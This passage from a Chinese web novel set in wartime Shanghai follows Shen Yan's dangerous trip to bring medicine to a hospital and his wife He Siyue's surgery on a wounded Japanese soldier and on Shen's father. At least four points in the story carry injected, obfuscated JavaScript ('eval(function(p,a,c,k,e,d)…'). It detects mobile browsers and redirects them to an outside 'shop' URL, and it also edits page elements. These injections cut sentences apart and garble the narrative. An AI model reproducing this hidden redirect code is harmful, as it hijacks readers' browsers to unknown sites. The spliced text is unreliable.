“沈先生……”陆医生声音有些哽咽，“这……这怎么好意思……” “没什么不好意思的。”沈晏站起身，“再说，这个年代我要再多的钱又有什么用，或者等战争结束了，等医院盈利了，再把这笔钱还给我吧。” 他顿了顿，看向何思玥：“而且，这是我妻子所在的医院。” 何思玥的眼眶热了。她看着沈晏，这个总是把感情包装成生意的男人，此刻在她眼里，比任何时候都真实，都……可爱。 “好。”陆医生也站起来，伸出手，“那就这么定了。沈先生，我代表医院所有伤者，谢谢你。” “先别谢。”沈晏和他握手，“药还没到呢。我现在就去安排。” 会议散了。沈晏和何思玥一起走出会议室，走廊里很暗，只有几盏油灯在风里摇晃。 “你真的有办法？”何思玥轻声问。 “没有。”沈晏点头，“我在南京时，认识几个药商。虽然现在局势乱，但只要钱到位，总有人愿意冒险，所以我只能尽力一试。” 他停下脚步，转身看着她：“思玥，但这意味着……我可能要离开几天。” 何思玥的心一沉。 他才刚回来…… “必须去吗？”她问，声音很轻。 “必须。”沈晏握住她的手，“没有药，医院撑不了三天。那些伤者……会死。” 他说得很平静，但何思玥听出了其中的重量。她想起今天死去的那个学生兵，想起那些因为没有抗生素而感染死去的伤者。 “好。”她点头，“你去。我等你。” “这次不会太久。”沈晏承诺，“最多五天，我一定带着药回来。” “我信你。”何思玥看着他，“但你也要答应我，一定要平安回来。我们现在是夫妻了，你不能……不能丢下我一个人。” 沈晏看着她眼里的担忧，心里某个柔软的地方被触动了。他低头，在她额头上印下一个吻。 “我答应你。”他说，“为了你，我也会平安回来。” 沈晏心情复杂地将何思玥揽入怀里，如果可以他又何尝想要离开她的身边。 他的手臂收得很紧，像要把她揉进骨头里。何思玥感觉到他的颤抖——这个在商场上永远冷静自持的男人，此刻像一株在风里摇摆的树。 “思玥，”他的声音闷在她发间，“如果可以，我真想把你变小，揣在口袋里，走到哪里都带着。” 何思玥的眼泪终于掉下来，洇湿了他胸前的衣料。她回抱住他，用力地，像要记住这个拥抱的温度，记住他怀抱的形状。 “我也想像那样。”她哽咽着说，“但你不能揣着我，我也不能绊着你。沈晏，我们有各自要扛的责任，对不对？” 沈晏的身体僵了僵，然后更紧地抱住她：“对。但思玥，答应我一件事。” “你说。” “如果我……”他顿了顿，像是难以启齿，“如果我没能回来，你不要等我，你去找个安全的地方，好好活下去。继续救人，继续写文章，继续……做你想做的事。” 何思玥猛地推开他，眼睛红得像要滴血：“沈晏，你说什么胡话！” “不是胡话。”沈晏看着她，眼神里有一种近乎悲凉的清醒，“这一路有多危险，你我都清楚。日本人设了关卡，溃兵在抢劫，黑市上那些人……也不是善类。我得做最坏的打算。” “我不要听什么最坏的打算！”何思玥的声音在发抖，“你答应过我的，会平安回来。你答应过的！” 沈晏看着她通红的眼睛，心里像被钝刀慢慢割着。他重新把她拉进怀里，下巴抵着她的发顶：“好，我不说了。我一定会回来。思玥，我一定会回来。” 他在心里默默补充：哪怕只剩一口气，爬也要爬回你身边。 何思玥又何尝不知道，每一次的分别，都不知道再见面是什么时候，明明是万般不舍，却怎么都做不了。 远处传来更夫打梆子的声音，三更天了。沈晏松开她，最后看了她一眼——要把她的样子刻进骨子里，带到任何危险的地方去。 “我走了。”他说。 何思玥点头，说不出话，只是看着他转身，看着他走进夜色，看着他消失在那片浓得化不开的黑暗里。 她在门口站了很久，直到林曼卿出来找她。 “思玥，外面凉，进来吧。” 何思玥摇摇头：“林姐，我心里慌。” 林曼卿握住她的手，发现冰凉得像块石头。“沈先生会平安的。”她轻声说，“他是个有本事的人，一定能带着药回来。” “我知道。”何思玥说，“但我还是慌。” 那种慌乱不是理智可以安抚的。像是有什么重要的东西正在远去，像是这一别，就是永远。 她想起父母被带走的那天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023044|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，也是这样的夜晚，也是这样的不安。然后……然后她就永远失去了他们。 “思玥，”林曼卿轻轻抱住她，“你不能倒。医院需要你，伤者需要你。沈先生也需要你——需要你在这里，好好地等他回来。” 这话像一记警钟，敲醒了何思玥。她深吸一口气，擦干眼泪。 “你说得对。我不能倒。” 她转身走进医院，走向那些需要她的伤者。洗手，戴手套，检查伤口，换药，包扎……每一个动作都一丝不苟，但心里那个洞，一直在漏风。 沈晏走的第二天，医院来了一个特殊的伤者。 是个日本兵。 抬进来的时候，护士们都愣住了。那是个很年轻的士兵，可能还不到二十岁，腿部中弹，血流不止。送他来的是一对老夫妇——中国老夫妇。 “我们在废墟里发现他的，”老伯说，“还有口气，就……就抬来了。” 陆医生皱着眉：“日本人……” “陆医生，”何思玥忽然开口，“他是伤者。” 所有人都看向她。 何思玥走到担架前，检查那个日本兵的伤势。子弹打穿了大腿动脉，如果不及时处理，很快就会失血过多而死。 “准备手术。”她对护士说。 “何医生！”一个护士忍不住说，“他是日本人！是我们的敌人！” 何思玥抬起头，眼神平静：“在手术台上，没有敌人，只有伤者。这是陆医生教我的第一条准则。” 她看向陆医生。陆医生沉默片刻，点头：“准备手术。” 手术很困难。子弹卡在骨头里，取出来时已经过去两个小时。何思玥全程专注，汗水浸湿了她的鬓发。 结束时，那个日本兵还在麻醉中。何思玥走出手术室，看见那对老夫妇还在等着。 “姑娘，”老妇人拉着她的手，“谢谢你。” “为什么要救他？”何思玥问，“他是日本人。” 老伯叹了口气：“他……他看起来，跟我孙子一样大。我孙子也在打仗，不知道现在是死是活。我就想……要是他在外面受了伤，也能有人救他就好了。” 何思玥的眼眶热了。 她想起沈晏说的话：不想眼睁睁看着人死——这就是最珍贵的人性。 人性不分国籍，不分敌我。人性就是，在生死面前，选择救人。 那个日本兵醒来后，很惊恐。但当他发现自己在医院，被中国人救了，眼神从恐惧变成困惑，再变成……一种复杂的、难以形容的情绪。 他不会说中文，何思玥也不会说日语。但他们有一种无声的交流——她给他换药时，他会微微点头；他疼痛时，她会放轻动作；有时候，他会指着窗外的废墟，比划着什么，眼神哀伤。 第三天，沈晏该到苏州了。没有消息。 第四天，该从苏州出发去南京了。还是没有消息。 何思玥强迫自己不去想，把全部精力都投入到工作中。 但夜深人静时，她会拿出沈晏留下的那枚护身符——他出发前，悄悄塞回她口袋里的。还有一张字条：“思玥，若我真回不来，这个护着你。答应我，好好活。” 她看着那张字条，眼泪掉在上面，把墨迹晕开。但她没哭出声，只是紧紧攥着护身符，像攥着最后的希望。 第五天，沈晏承诺回来的日子。 33. 第 33 章 从清晨开始，何思玥就心神不宁。 她一次次看向医院门口，期待那个熟悉的身影出现。但每一次，都是失望。 傍晚，陆医生找到她：“思玥，药……最多还能撑一天。” 何思玥的心沉到谷底。沈晏还没回来，也不知道他那边发生了什么，医院里的常备药也快没了…… “我去门口等等。”她说。 她站在医院门口，看着街上来往的人——逃难的，寻亲的，还有抬着伤者来的。 但没有沈晏，连和他相像的身影都没有。 天色完全暗了下来，远处忽然传来汽车引擎的声音。不是一辆，是好几辆，正朝医院这边驶来。 何思玥的心跳加速。她踮起脚尖，朝着汽笛声的方向看去，看着那些车灯越来越近，越来越亮—— 第一辆车在医院门口急刹。车门打开，沈晏跳下来。 他像是从泥潭里滚过几遭。西装外套不见了，白衬衫变成灰黄色，袖子撕破了一道口子，露出的手臂上有新鲜的擦伤和淤青。 胡子拉碴，脸颊凹陷下去，眼下是浓重的阴影——那是连续几天没合眼的痕迹。 但那双眼睛，亮得惊人。 像暴风雨后洗净的夜空，所有的星子都落进去，闪着灼灼的光。那光里有疲惫，有劫后余生的庆幸，更有一路闯过生死关隘、终于把最重要的东西带到她面前的狂喜。 “思玥！”他的声音沙哑得像砂纸磨过，却字字清晰，“药来了！” 何思玥怔怔地看着他，忘了呼吸，忘了动弹。她想过无数种重逢的画面，但没想过是这样——他像个从地狱爬回来的战士，满身伤痕，却扛着希望。 沈晏见她不动，大步走过来。他走路有点跛——何思玥这才注意到，他左腿的裤管被血浸透了一块，已经半干，结成深褐色的硬痂。 “你受伤了？”她终于找回声音，颤抖着伸手去碰他的腿。 “小伤，子弹擦过去，没打中骨头。”沈晏抓住她的手，握得很紧，“路上遇到溃兵，打了一架。药保住了，人也没少——虽然挂了彩。” 他说得轻描淡写，但何思玥能想象那是怎样的凶险。 溃兵是什么？是杀红了眼、什么都敢抢的人。 沈晏带着价值连城的药品从他们手里闯过来，付出的代价，绝不止腿上这一枪。 “先进来，我给你处理伤口。”她拉着他往医院里走。 “不急。”沈晏站着不动，回头对后面车上的人喊，“卸货！小心点，都是救命的药！” 伙计们开始往下搬箱子，木箱很沉，两个人抬一箱都吃力。陆医生带着护士们出来接应，看见那些药品，眼睛都亮了。 “消毒酒精，纱布，止血粉，青霉素……”陆医生一个个箱子检查，声音激动得发颤，“还有手术器械！沈先生，你这是……” “把南京几家药房的库存扫了一半。”沈晏笑了笑，牵动了嘴角的伤口，疼得他咧了咧嘴，“钱花光了，人情也用完了。但值。” 何思玥的眼泪终于掉下来。 不是哭，是那种紧绷了太久突然松弛后的生理反应。 她看着沈晏——这个满身狼狈却眼神明亮的男人，忽然觉得，他是世界上最英俊的人。 何思玥看着沈晏，他说的这般云淡风轻，看到手臂、脖子上都受了伤，整个人都消瘦了，她看着都心疼。 “别哭。”沈晏用拇指擦去她的眼泪，动作很轻，“我这不是好好的吗？” “好什么好！”何思玥又哭又笑，“你看看你自己，像个野人！” “野人就野人。”沈晏抱住她，把脸埋在她肩头，深深吸了一口气——是消毒水的味道，混合着她身上淡淡的皂角香，是他这些天在生死边缘徘徊时，最想念的气息。 “思玥，”他低声说，“这一路我都在想，要是回不来了，你怎么办。想着想着，就更不敢死。因为我的思玥还在等我，我的医院还在等药。我得回来，必须回来。” 何思玥抱紧他，感觉到他身体的颤抖——不是恐惧，是那种极度疲惫后的生理反应。她轻轻拍着他的背，像安抚一个受惊的孩子。 “我知道。”她轻声说，“我知道你会回来。” 卸完药，沈晏才肯进治疗室让何思玥处理伤口。腿上的枪伤确实是擦伤，但很深，皮肉翻卷，已经有些感染。何思玥清洗时，沈晏咬着牙，额头上全是汗，但一声没吭。 “疼就说。”何思玥心疼得手都在抖。 “不疼。”沈晏看着她，“比在路上时好多了。那时候才真疼——不是伤口疼，是怕。怕药被抢走，怕来不及回来，怕你等急了。” 何思玥的眼泪又涌上来。她低下头，仔细地给他缝合、包扎。动作很轻，像对待最珍贵的瓷器。 包扎完，她又检查他身上的其他伤——手臂上的擦伤，后背的淤青，还有脸颊上那道已经结痂的划痕。 “谁打的？”她摸着那道划痕。 “一个溃兵，用刺刀划的。”沈晏握住她的手，“我把他打趴下了，药保住了。” 他说得很平静，但何思玥能想象那场搏斗的惨烈。沈晏不是武夫，他是个商人，为了这些药，他一定拼尽了全力。 “下次……”她哽咽着，“下次别这么拼命了。” “没有下次了。”沈晏摇头，“等战争结束，我就守着你，哪儿也不去。开我们的‘绿洲诊所’，过太平日子。” 处理完伤口，沈晏还是不肯休息。他坚持要看着药品入库，看着陆医生分配，看着那些伤者用上新药。 一个腹部感染高烧的伤者用了青霉素后，体温开始下降；一个伤口化脓的士兵用了新纱布和消毒水，疼痛明显减轻；还有一个重伤员需要紧急手术，因为有了新的手术器械，陆医生终于敢动手了。 沈晏站在手术室外，透过玻璃看着里面的忙碌。何思玥也在里面，作为陆医生的助手，专注地递器械、止血、缝合。 她的侧脸在无影灯下显得格外柔和，但眼神坚毅，动作沉稳。这个曾经在私塾教书的女子，这个曾经在杂志社写文章的女子，如今在手术台上，像个真正的战士。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17031236|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈晏看着看着，眼眶发热。 他想，这就是他的妻子。他穿越战火、闯过生死也要回来的理由。 手术很成功。伤者被推出来时，虽然还在昏迷，但生命体征平稳。陆医生摘下口罩，对沈晏说：“沈先生，谢谢你。没有这些药和器械，这个人救不回来。” “该谢的是你们。”沈晏说，“是你们在救人。” 深夜，所有事情都告一段落，何思玥终于能扶着沈晏回医院临时为他们准备的住处。 她打了热水，让他擦洗。沈晏脱下那身破烂的衣服，何思玥才看见他身上的伤有多重——除了腿上的枪伤，胸口还有一大片淤青，背上更是青紫交加。 “那些溃兵……”她声音发颤。 “都过去了。”沈晏握住她的手，“思玥，看着我。” 何思玥抬起头，看着他。 “这一路，我见过太多死亡。”沈晏的声音很低，“有被炸死的平民，有战死的士兵，还有……还有因为没药治伤，慢慢死去的伤者。每一次看到，我就更坚定——必须把药带回来。必须。” 他抚着她的脸：“因为我知道，你在医院里，也一定在看着伤者死去，却无能为力。那种感觉，比受伤更疼。” 何思玥的眼泪掉下来，滴在他手背上。 “所以你看，”沈晏笑了，虽然牵动伤口让他皱了皱眉，“我们都在做同样的事——在战火里，努力地，一点一点地，救人命，守希望。” 何思玥抱住他，小心地避开他的伤口：“沈晏，我们一定会等到和平的，对不对？” “对。”沈晏吻了吻她的头发，“因为还有很多像我们这样的人，在努力。因为还有‘不想眼睁睁看着人死’的人心。所以，一定会等到。” “那个日本兵……”沈晏忽然说，“我听说了。你救了他。” “嗯。”何思玥轻声说，“陆医生说，在手术台上，没有敌人，只有伤者。” 沈晏沉默了很久，然后说：“思玥，你做得对。” 他握住她的手：“这一路，我看到太多仇恨，太多杀戮。有时候我在想，这场战争到底是为了什么？为了土地？为了资源？还是为了……让人变成野兽？” “但看到你，看到那对救日本兵的老夫妇，看到医院里这些还在努力救人的人……我就觉得，也许人不会完全变成野兽。因为还有人性，还有……‘不想眼睁睁看着人死’的那点心软。” 何思玥靠在他肩上：“沈晏，你说等战争结束了，我们的‘诊所’会是什么样子？” “会很好的。”沈晏说，“有明亮的诊室，有充足的药品，有你在给病人看病，有我在打理杂务。还会有一院子花，春天开玉兰，夏天开紫藤，秋天开桂花，冬天……冬天就围炉读书，等雪停。但是我更希望的是海晏河清。” 他说得很慢，像在描绘一个真实存在的未来。何思玥闭上眼睛，仿佛能看见那个画面——和平的，温暖的，充满希望的。 窗外，夜色深沉。炮声暂时停了，难得的宁静笼罩着这座伤痕累累的城市。 34. 第 34 章 一早，何思玥刚到医院，陆医生就找到了她，说有一个病人需要手术，让她赶紧准备一下。 何思玥换好衣服走进手术室的时候，没有想到躺在病床上准备手术的竟然是沈晏父亲沈霆。 “陆医生，这病人是什么情况？” “沈会长今天去码头看货的时候，被帮派的人砍伤了。” 何思玥的手套刚戴到一半，僵住了。 手术台上躺着的，确实是沈霆，那个总是穿着长衫、拄着文明杖、在商会里说一不二的沈老爷子。 此刻他脸色惨白，双目紧闭，胸口缠着的纱布已经被血浸透，还在不断往外渗。 “怎么会……”何思玥的声音发颤，“沈晏知道吗？” “已经让人去通知了。”陆医生正在准备器械，头也不抬，“何医生，我知道你和沈家的关系。但现在沈会长需要做手术，他是病人，你是医生。你能明白我说的吗？” 何思玥深吸一口气，强迫自己冷静下来。她重新戴好手套，走到手术台边。 “情况怎么样？” “刀伤，很深，刺穿了左肺。”陆医生掀开纱布，露出那道狰狞的伤口，“出血量大，先找到出血口，需要立即开胸缝合。但问题是……”他顿了顿，“沈会长年纪大了，又有高血压，麻醉风险很大。” 何思玥看着那道伤口，心一点点沉下去。她虽然不是胸外科专家，但跟着陆医生这段时间，已经能判断伤势的严重程度。这一刀如果再偏一点，当场就没命了。 “麻醉师呢？” “在路上。但就算来了，风险依然很大。”陆医生看着她，“何医生，这个手术……你敢不敢一起做？” 何思玥的手在抖，在英国的时候她学过一段时间的医学，加上这段时间和陆医生的学习，等真正去操作的时候，还是很害怕，更何况这个人还是沈晏的父亲。 如果手术失败了…… “我敢。”她听见自己说，声音出乎意料的平稳，“陆医生，我当您的一助。” 陆医生看了她一眼，点点头：“好。准备麻醉，开胸包，止血钳……快！” 手术室里的空气瞬间绷紧。护士们迅速递上器械，麻醉师也赶到了——是个中年男人，看见伤者是沈霆，脸色也变了变。 “血压90/60，心率120，血氧88……”护士报着数据。 “先输血，升压药准备。”陆医生已经拿起手术刀，“麻醉，开始。” 何思玥站在陆医生对面，作为一助，她要负责暴露术野、吸引、止血。当手术刀划开皮肤时，她的手很稳，但心在狂跳。 开胸，撑开肋骨，露出受伤的肺叶。那道刀伤比预想得更深，肺组织被切开了近三厘米，还在渗血。 “吸引。”陆医生沉声道。 何思玥立刻用吸引器吸去积血，同时用纱布压迫止血。她的动作精准而迅速——这是这些天在无数伤者身上练出来的。 “缝合针。”陆医生说。 何思玥递上针线。陆医生开始缝合肺组织，针线穿过柔软的组织，每一次进针出针都需要极高的精准度。何思玥一边帮忙暴露，一边注意着监护仪上的数据——血压还在掉，心率在加快。 “血压85/55……心率130……” “加快输血！多巴胺静推！”陆医生头也不抬。 手术进行到一半时，外面传来急促的脚步声。手术室的门被推开一条缝，沈晏的声音传来：“陆医生！我父亲他……” “沈先生，请在外面等，我们医生正在里面进行抢救。”护士拦住他。 何思玥抬起头，透过手术室的玻璃，看见沈晏焦急的脸。他显然是一路跑来的，头发凌乱，呼吸急促，眼睛死死盯着手术台。 两人的目光在空中交汇。沈晏看见她穿着手术服、戴着口罩的样子，眼神里闪过一丝复杂的情绪——担忧，信任，还有……一种近乎绝望的祈求。 何思玥对他微微点头，虽然知道他看不见口罩下的表情，但她希望他能读懂她的眼神：放心，我在。 然后她转回头，继续专注于手术。 肺组织的缝合终于完成。陆医生开始逐层关闭胸腔，何思玥配合着递器械、剪线、止血。汗水浸湿了她的后背，但她浑然不觉。 最后一针缝完，陆医生长舒一口气：“关胸完成。血压？” “95/60，心率110，血氧92……稳住了。”护士的声音里带着欣喜。 手术室里的所有人都松了口气。陆医生摘下沾满血的手套，看向何思玥，不由得感叹道：“何医生，你处理的很好，手也很稳，你真的还挺适合做医生的。” 何思玥这才感觉到腿软。她扶着手术台，看着还在麻醉中的沈霆——呼吸平稳了，脸色虽然苍白，但不再是死灰色。 “他……能活吗？”她问，声音有些抖.。 何思玥看到沈霆躺在病床上，深红色的血液染红了他身上的衣物，那一刻她真的慌了，她想到自己的父母被枪击中的那一刻，躺在血泊中的那一刻。 “看术后恢复。”陆医生顿了顿，“但至少，我们把他从鬼门关拉回来了。” 手术室的门打开，沈晏立刻冲进来。他先看了看父亲，然后转向陆医生：“陆医生，我父亲他……” “手术成功了。”陆医生说，“但接下来24小时是关键。要防止感染，防止并发症。何医生会详细跟你说。” 沈晏这才看向何思玥。她刚摘下口罩和帽子，头发被汗水打湿贴在脸上，脸色也很苍白，但眼睛很亮。 “思玥……”他握住她的手，发现她的手很冰，还在微微发抖。 “手术很顺利。”何思玥努力让自己的声音平稳，“但你父亲年纪大，伤口深，接下来要密切观察。我已经安排了特护病房，会24小时监护。” 沈晏看着她，这个刚才在手术台上救了他父亲命的女子，此刻在他眼里，不仅是妻子，不仅是爱人，更是一个可以托付生命的、值得尊敬的人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035077|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “谢谢。”他说，声音哽咽。 “我们之间不必说谢谢的，更何况他也是我的亲人。”何思玥摇头，“不过，你更应该谢谢陆医生。” 她把沈霆送进特护病房，安排好一切，才和沈晏一起走出医院。天已经黑了，街道上很安静——难得的停火期。 两人都没说话，只是慢慢走着。沈晏忽然停下脚步，转身抱住何思玥。 抱得很紧，很用力，像要把她嵌进身体里。 “思玥，”他的声音闷在她肩头，“今天……谢谢你。” “沈晏，我们之间永远不需要说谢谢，比起你为我做的，我做微不足道……” “不，要谢。”沈晏打断她，“不只是谢你救了我父亲。是谢你……在我最慌最怕的时候，是你站在手术台上，握着他的命。” 他松开她，看着她的眼睛：“你知道吗？当我听说父亲受伤，当我冲到医院，当我看见手术室里的人是你时……我心里那种感觉，很复杂，却又很安定，你知道嘛。” “一方面担心父亲，一方面……”他顿了顿，“一方面又觉得，如果是你在救他，也许……也许能救回来。因为我知道你有多认真，多拼命。因为我知道，你不想眼睁睁看着人死——不管那个人是谁。” 何思玥的眼泪掉下来。她抱住沈晏，把脸埋在他胸前。 “沈晏，其实我今天真的很害怕。”她终于说出藏在心里的话，“我怕救不活他，怕你恨我，怕……怕失去你。” “不会的。”沈晏抚着她的背，“无论结果如何，我都不会恨你。因为我知道，你尽力了。而我爱的，就是这个会尽力去救人的何思玥。” 远处传来教堂的钟声，悠长而安宁。 夜色里，这对刚刚经历过生死考验的夫妻，相拥着，感受着彼此的体温和心跳。 “思玥，”沈晏轻声说，“等父亲好了，等战争结束了，我们就离开上海吧。” 何思玥抬起头：“去哪儿？” “去哪儿都行。北平，广州，重庆……或者，我们说过要开的‘绿洲诊所’，在哪里开都可以。”沈晏看着她，“只要离开这个是非之地，去过平静的日子。” 何思玥沉默了很久，然后摇头：“不，沈晏，我们不走。” “为什么？这里太危险了……” “就是因为危险，所以才更不能走。”何思玥说，“你看，医院里还有那么多伤者需要救治，租界里还有那么多人无家可归。如果我们走了，他们怎么办？医院里本来就缺人，如果我在走了...” 她握住沈晏的手：“沈晏，你说过，不想眼睁睁看着人死——这就是最珍贵的人性。那我们就不能走，因为这里有太多需要我们的人。” 沈晏看着她，看着她眼里的坚定，忽然笑了。那笑容里有无奈，有骄傲，更有深深的爱意。 “好，不走。”他说，“你在哪里，我就在哪里。你要救人，我就陪你救人。你要守上海，我就陪你守上海。” 35. 第 35 章 沈霆的术后恢复比预想的艰难。 毕竟是六十多岁的人，那一刀伤及肺腑，再加上本就有高血压，术后第二天就出现了感染发热。 何思玥几乎住在了医院，寸步不离地守着。 沈晏也没闲着。除了照顾父亲，他还要处理沈氏商行因会长受伤而引发的混乱——几个老股东想趁机夺权，码头上的帮派也蠢蠢欲动。 这天傍晚，何思玥刚给沈霆换完药，沈晏从外面匆匆进来，脸色很不好看。 “怎么了？”何思玥问。 “商会那几个老家伙，”沈晏压低声音，“想趁父亲病重，推选临时会长。我已经压下去了，但……也很麻烦。” 何思玥看着他疲惫的脸，伸手抚平他皱起的眉头：“辛苦你了。” “我做这些谈不上辛苦，这几天，你白天要负责伤患，晚上还要照顾父亲，谢谢你思玥。”沈晏握住她的手，“突然觉得……人心难测。父亲还在病床上，他们就开始算计。” “可这就是人心啊，他们肯定想要在这乱世多捞一笔，肯定要为自己的利益算计。”何思玥替沈晏分析着。 这些道理，沈晏何尝不知道，只是事情发生的突然，这些人这么急着算计。 病房里很安静，只有监护仪规律的嘀嗒声。沈霆还在昏睡，呼吸微弱但平稳。 “思玥，”沈晏忽然说，“今天码头那边传来消息，说日本人可能要全面进攻上海了。租界……恐怕也保不住了。” 何思玥的心一沉。她想起这些天医院里越来越多的伤者，想起街上越来越多的难民，想起陆医生说“药品又快用完了”。 “那我们……” “那我们说‘不走’，是真心话。”沈晏看着她，“但我也要为你考虑。如果你不想留下，我们可以……” “我想留下。”何思玥打断他，“沈晏，我弃文从医就是为了救人。如果因为危险就离开，那我学医的意义又在哪里？” 她走到窗边，看着外面暮色中的上海：“这个城市给了我太多——快乐，痛苦，失去，得到。它夺走了我的父母，但也让我遇见了你。它让我经历了战火，让我看见了尸横遍野，让我发现了生命的脆弱，但也让我找到了真正想做的事，我也想尽我的绵薄之力。” 她转过身，眼神清澈而坚定：“所以我要留下。不仅因为这里需要我，更因为……这里是我的根。是我重新站起来的地方，是我找到自己的地方。” 沈晏看着她，这个站在暮光里的女子，身形单薄却脊背挺直，像一株经历过风雨却依然倔强生长的树。 他想起第一次见她时，她在林老师家，穿着湖蓝色旗袍，安静地坐在太师椅里，眼神清冷而疏离。 那时他怎么也想不到，这个看似柔弱的女子，会在战火中成长为可以独当一面的医生，会在他父亲生死攸关时握刀相救，会在所有人都想逃离时选择留下。 “思玥，”他轻声说，“你变了。” “变好了还是变坏了？” “变……”沈晏想了想，“变得更像你自己了。那个我一直知道的、藏在温柔外表下的、坚韧强大的你自己。” 他走到她身边，和她一起看着窗外：“既然你决定留下，那我就陪你留下。沈家的产业我可以不要，商会的权力我可以放弃，但你和父亲，我必须守住。” 何思玥靠在他肩上：“沈晏，我们会赢的，对吗？战争会结束的，对吗？” “会，一定会。”沈晏揽住她的肩，“因为还有我们这样的人，一直在坚持，一直为抗日而努力着，我们一起把敌人赶出这片土地，因为还有不想眼睁睁看着人死的人心。所以，一定会赢。” 窗外，华灯初上。战火中的上海，依然有零星的灯火，在夜色里倔强地亮着。 沈霆是在第三天晚上醒来的。 他睁开眼时，何思玥正在给他测血压。看见他醒来，她愣了一下，随即轻声说：“公公，您醒了。” 沈霆的眼睛浑浊了一会儿，才慢慢聚焦。他认出了何思玥——这个曾经被他儿子带回家、他并不看好的女子。 “是你……”他的声音嘶哑得几乎听不见。 “是我。”何思玥扶他坐起一点，喂他喝了点水，“您刚做完手术，不能多说话。好好休息。” 沈霆看着她熟练的动作，眼神复杂。他记得自己受伤，记得被送到医院，记得手术台上那个戴着口罩、眼神专注的医生……原来是她。 “晏儿呢？”他问。 “在商会处理事情，马上就来。”何思玥说，“您放心，手术很成功，只要好好休养，会恢复的。” 正说着，沈晏推门进来。看见父亲醒了，他眼睛一亮：“爹！” 沈霆看着儿子，又看看何思玥，忽然说：“你们都出去一下，我有话跟思玥说。” 沈晏愣了愣，看向何思玥。她点点头示意：“你去看看陆医生那边有什么需要帮忙的。” 沈晏离开后，病房里只剩下沈霆和何思玥。老人看着她，看了很久，才开口： “手术……是你做的？” “我是陆医生的助手。”何思玥实话实说，“主要手术是陆医生做的，我负责协助。” “但你握刀了。”沈霆说，“我虽然昏迷，但还有点意识。我听见陆医生说‘何医生，止血钳’，听见你说‘血压在掉，加快输血’。” 他顿了顿：“思玥，我这条命……是你救的。” 何思玥摇头：“是陆医生救的，是医院的同事们救的。我只是做了该做的事。” “该做的事……”沈霆重复着这句话，眼神飘远，“你知道吗，当初晏儿说要娶你，我是不赞成的。我觉得你太新派，太理想化，不适合沈家这样的商贾之家。” 他看向何思玥：“但现在我明白了。你不是不适合沈家，是沈家……配不上你。” 这话说得太重，何思玥连忙说：“公公，您别这么说……” “我说的是实话。”沈霆打断她，“这些天，虽然我躺着，但耳朵还能听见。我听见护士们说，你为了救人几天几夜不睡；听见伤者们说，何医生虽然年轻，但学习能力好，也很努力，心肠更好；还听见……听见晏儿跟陆医生说，他为你骄傲。” 老人的眼眶红了：“思玥，我错了。我不该用旧眼光看你，不该觉得女子就该相夫教子。你做的，是比相夫教子更了不起的事——你在救人命，在乱世里守着一份良心。” 何思玥的眼泪掉下来。她没想到，这个曾经对她冷淡疏离的老人，会说出这样的话。 “公公，”她握住他的手，“我没有那么了不起。我只是……只是不想眼睁睁看着人死。就像沈晏说的，这是最珍贵的人性。” 沈霆点头，握紧她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039124|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手：“好孩子。以后……沈家就交给你和晏儿了。你们想做什么就做什么，想留在上海就留在上海。我老了，但还有点积蓄，都给你们。开诊所也好，办医院也罢，只要你们觉得对，就去做。” 沈霆从鬼门关走过一遭之后，似乎心境也发生了很大的变化，也看开了，放下自己曾经的偏见，从心底接受何思玥。 门被轻轻推开，沈晏站在门口，显然听到了最后的话。他走进来，眼眶也是红的。 “爹……” “晏儿，”沈霆看向儿子，“你要好好待思玥。她不仅是你的妻子，更是……更是我们沈家的福星。” 沈晏用力点头：“我会的。爹，您放心。” 那天晚上，沈霆睡得很安稳。何思玥和沈晏守在病房外，透过玻璃看着老人平静的睡颜。 “思玥，”沈晏轻声说，“谢谢你。” “又谢什么？” “谢你……让我父亲重新认识了你。”沈晏看着她，“也谢你，让我重新认识了自己。” 他揽住她的肩：“从前我总觉得，做个成功的商人，赚很多钱，就是人生的意义。但现在我明白了，真正的意义，是像你这样——在乱世里守住一份善，在黑暗中点燃一盏灯。” 何思玥靠在他怀里，看着窗外深沉的夜色。 